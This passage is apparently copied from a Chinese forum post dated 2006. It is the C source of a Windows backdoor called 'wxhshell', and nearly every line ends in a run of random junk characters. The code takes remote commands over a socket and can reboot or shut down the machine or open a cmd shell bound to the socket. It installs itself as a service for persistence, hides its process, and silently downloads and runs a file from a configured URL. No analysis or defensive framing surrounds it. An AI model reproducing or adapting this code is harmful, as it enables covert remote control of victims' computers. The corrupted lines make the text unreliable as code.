      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S)7/0N79A  
    break; ix&'0IrX*  
  } lP3h<j  
  // 安装 : G=FiC  
  case 'i': { t7*#[x)a  
    if(Install()) ^~1<f1(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wd+K`I/v7h  
    else I 8z G~L%"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d:rGyA]  
    break; $FX,zC<=  
    } g`[$Xi R  
  // 卸载 IPtvuEju\  
  case 'r': { >{nH v)  
    if(Uninstall()) rt}^4IqL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?lKhzH.T  
    else {v,)G)obWw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -c+]Wm"\  
    break; i=#F)AD^5#  
    } !OAvD#  
  // 显示 wxhshell 所在路径 %u!b& 5]e  
  case 'p': { !MV@) (.  
    char svExeFile[MAX_PATH]; W5 ec  
    strcpy(svExeFile,"\n\r"); #|f~s  
      strcat(svExeFile,ExeFile); JN(-.8<  
        send(wsh,svExeFile,strlen(svExeFile),0);  uMd. j$$  
    break; BJy;-(JP  
    } +>tUz D  
  // 重启 Fr [7  
  case 'b': { ;gB`YNL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tJU-<{8  
    if(Boot(REBOOT)) .zkP~xQ~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Md&WJ };L  
    else { eB]R3j{  
    closesocket(wsh);  rLv;Y  
    ExitThread(0); Ia4)uV8  
    } #fDs[  
    break; *C2R`gpBI  
    } {HrZ4xQnpV  
  // 关机 d5!!Ut  
  case 'd': { ,:GN;sIXg  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *y]+dK&-  
    if(Boot(SHUTDOWN)) K{=PQ XSU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :L:&t,X  
    else { fY W|p<Q0  
    closesocket(wsh); +B"0{>n}F  
    ExitThread(0); ;rR/5d1!  
    } %!|O.xxRR  
    break; E^CiOTN  
    } z]@6fM[  
  // 获取shell c$h9/H=~  
  case 's': { h"W8N+e\  
    CmdShell(wsh); 5zB~4u  
    closesocket(wsh); g0&\l}&%U  
    ExitThread(0); 5v _P Oq  
    break; y7lWeBnC  
  } [TTSA2  
  // 退出 WNy3@+@GZ  
  case 'x': { 46No%cSiG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A)NkT`<)  
    CloseIt(wsh); 2`bdrRD0  
    break; (K<9h L+X  
    } ,wj"! o#  
  // 离开 jndGiMA  
  case 'q': { ?Bx./t><  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]A+o>#n}x  
    closesocket(wsh); Es4qPB`g.  
    WSACleanup(); lpm JLH.F  
    exit(1); ] d?x$>  
    break; 55DE\<r  
        } yVJ%+d:6  
  } zT9JBMNE:  
  } j*R,m1e8  
"484 n/D  
  // 提示信息 [V}, tO|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iK;opA"  
} \RG!@$i  
  }  9A$m$  
KZ:hKY@q  
  return; h<l1U'Bn7  
} /-M@[p&  
,kM)7!]N  
// shell模块句柄 /X*oS&-M  
int CmdShell(SOCKET sock) zfI}Q}p  
{ Acm<-de  
STARTUPINFO si; } cNW^4F  
ZeroMemory(&si,sizeof(si)); ~Y!kB:D5;~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MuI2?:~:*4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .*/Fucr  
PROCESS_INFORMATION ProcessInfo; 9 c3E+  
char cmdline[]="cmd"; AMCyj`Ur  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L>9R4:g  
  return 0; ip:LcGt  
} ;;U :Jtn2  
9Kv|>#zff  
// 自身启动模式 b[ w;i]2  
int StartFromService(void) !CY&{LEYn0  
{ [iS$JG-  
typedef struct iCQ>@P]nE  
{ 7jG(<!,  
  DWORD ExitStatus; ROb\Rx m  
  DWORD PebBaseAddress; NL"G2[e  
  DWORD AffinityMask; )A8v];.]3  
  DWORD BasePriority; `BXS)xj  
  ULONG UniqueProcessId; c-4STPNQi  
  ULONG InheritedFromUniqueProcessId; dp5cDF}l  
}   PROCESS_BASIC_INFORMATION;  %Y nmuZ  
dA~ 3>f*b_  
PROCNTQSIP NtQueryInformationProcess; 5K%W a]W  
{MBTP;{*~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }"s;\?a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  #ToK$8  
au@a8MP  
  HANDLE             hProcess; lCT{v@pp  
  PROCESS_BASIC_INFORMATION pbi; /Lf6WMit  
n# 7Pr/*0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |NFZ(6vNh  
  if(NULL == hInst ) return 0; Ctu?o+^;z  
~qP[eWe  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >{zk qvsQ&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x!< yT?A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =d`5f@'rl  
t*S." q  
  if (!NtQueryInformationProcess) return 0; hGTV;eU  
*C|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^s:y/Kd  
  if(!hProcess) return 0; >l5$9wO  
6<'K~1do:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &2.u%[gO[q  
(R}ii}&  
  CloseHandle(hProcess); 5TKJWO.  
OjE` 1h\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w Iv o"|%  
if(hProcess==NULL) return 0; ?}P5p^6  
^"8wUsP  
HMODULE hMod; Hf gz02Z$  
char procName[255]; b7:0#l$  
unsigned long cbNeeded; y' C-[nk  
[U{UW4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z}6^ve  
R W/z1  
  CloseHandle(hProcess); xyh.N)  
$7Jo8^RE  
if(strstr(procName,"services")) return 1; // 以服务启动 T]9\VW4  
i b6^x:HGU  
  return 0; // 注册表启动 AONDx3[   
} 2'0K WYM  
uKr1Z2  
// 主模块 SI:ifR&T  
int StartWxhshell(LPSTR lpCmdLine)  vb{i  
{ r#i?j}F}  
  SOCKET wsl; \_6OCVil  
BOOL val=TRUE; ,El!fgL  
  int port=0; 2\D8.nQr  
  struct sockaddr_in door; ;t#]2<d*  
LJlZ^kh  
  if(wscfg.ws_autoins) Install(); aBuoHdg;  
V&{MQWy  
port=atoi(lpCmdLine); 3(E $I5  
QCOo  
if(port<=0) port=wscfg.ws_port; ,T,:-E  
uRV<?y%  
  WSADATA data; Av J4\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +~zXDBS9  
~`MS~,,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k"UO c=   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NPnHH:\;  
  door.sin_family = AF_INET; %:v`EjRD0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =qVP]  9  
  door.sin_port = htons(port); Y-!YhWsS  
:a[Ihqfg  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6aft$A}XnD  
closesocket(wsl); _o3e]{  
return 1; &?,U_)x/  
} A;XOT6jv?  
El_Qk[X|A  
  if(listen(wsl,2) == INVALID_SOCKET) { [IZM.r`Z  
closesocket(wsl); N3BL3:@O  
return 1; 8,T4lb<<  
} s54nF\3V  
  Wxhshell(wsl); UPU+ver  
  WSACleanup(); 2 !1.E5.I  
OTWkUB{  
return 0; KxGX\   
{2d_"lHBt  
} J97R0  
koG{ |elgB  
// 以NT服务方式启动 ]$-cMX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8TV;Rtl  
{ ed 59B)?l  
DWORD   status = 0; Q[n\R@  
  DWORD   specificError = 0xfffffff; 3Mjj' 5KH!  
~`8hwR1&z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yc;3Id5?>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; gO?44^hMe  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @LE[ac  
  serviceStatus.dwWin32ExitCode     = 0; f7urJ'!V  
  serviceStatus.dwServiceSpecificExitCode = 0; X?r48l??  
  serviceStatus.dwCheckPoint       = 0; cV K7  
  serviceStatus.dwWaitHint       = 0; 0rSIfYZa  
\`.F\ Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E8\XNG)V4  
  if (hServiceStatusHandle==0) return; ]:]H:U]p  
+]xFoH  
status = GetLastError(); %hS|68pN6  
  if (status!=NO_ERROR) e'*HS7g  
{ Y qdWctUY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jjs&`Fy,  
    serviceStatus.dwCheckPoint       = 0; G`h+l<  
    serviceStatus.dwWaitHint       = 0; 'vV$]/wBF  
    serviceStatus.dwWin32ExitCode     = status; jF ^5}5U  
    serviceStatus.dwServiceSpecificExitCode = specificError; od<b!4k~s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  cc=gCE  
    return; 'Ye v} QM  
  } `|O yRU"EK  
3k$[r$+"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2/P"7A=<  
  serviceStatus.dwCheckPoint       = 0; Et2JxbD  
  serviceStatus.dwWaitHint       = 0; kTIYD o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +%>:0mT  
} n^(A=G  
 v9RW5  
// 处理NT服务事件,比如:启动、停止 *V^ #ga#A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^>&k]T`  
{ ;^u*hZN[Up  
switch(fdwControl) q z&+=d@  
{ u+9<&)X0  
case SERVICE_CONTROL_STOP: bUy,5gk-  
  serviceStatus.dwWin32ExitCode = 0; t@oK~ Nr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8OhDjWVJ  
  serviceStatus.dwCheckPoint   = 0; 2C^B_FUg|]  
  serviceStatus.dwWaitHint     = 0; LE^G&<!  
  { [s1pM1x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0'Z\O   
  } -4#2/GXNO  
  return; ^n.WZUk  
case SERVICE_CONTROL_PAUSE: ws/63 d*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FN[R(SLbL  
  break; Zi$ziDz&  
case SERVICE_CONTROL_CONTINUE: *ZSdl 0e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A~ (l{g  
  break; 2(!fg4#+  
case SERVICE_CONTROL_INTERROGATE: KU9Z"9#  
  break; Rf %HIAVE  
}; t/oN>mQG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "VxWj}+]  
} ,{eU P0]  
h&@R| N  
// 标准应用程序主函数 al9.}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \(UKd v  
{ L #[]I,  
X<OSN&d  
// 获取操作系统版本 ~}ml*<z@  
OsIsNt=GetOsVer(); dj6*6qX0'^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4pU>x$3$  
D<{{ :7n  
  // 从命令行安装 @JkK99\(>9  
  if(strpbrk(lpCmdLine,"iI")) Install(); qF)< H  
7Du1RuxP  
  // 下载执行文件 nxm$}!Df  
if(wscfg.ws_downexe) { ,.IEDF<&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (WlIwKP  
  WinExec(wscfg.ws_filenam,SW_HIDE); V:NI4dv/R  
} XJ0 {  
FE7)E.U  
if(!OsIsNt) { rEZ8eeB[3  
// 如果时win9x,隐藏进程并且设置为注册表启动 7EhN u@5-  
HideProc(); N)8HR9[!  
StartWxhshell(lpCmdLine); 8G%yB}pa  
} )x,8D ~p'  
else O{z}8&oR:  
  if(StartFromService()) n";02?@F  
  // 以服务方式启动 >?W[PQ5yx  
  StartServiceCtrlDispatcher(DispatchTable); &Bb<4R  
else  @gGRm  
  // 普通方式启动 6~meM@  
  StartWxhshell(lpCmdLine); DrW#v-d  
[|`U6 8}u  
return 0; -_VG;$,jE  
}
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只看该作者 1 发表于: 2006-10-10
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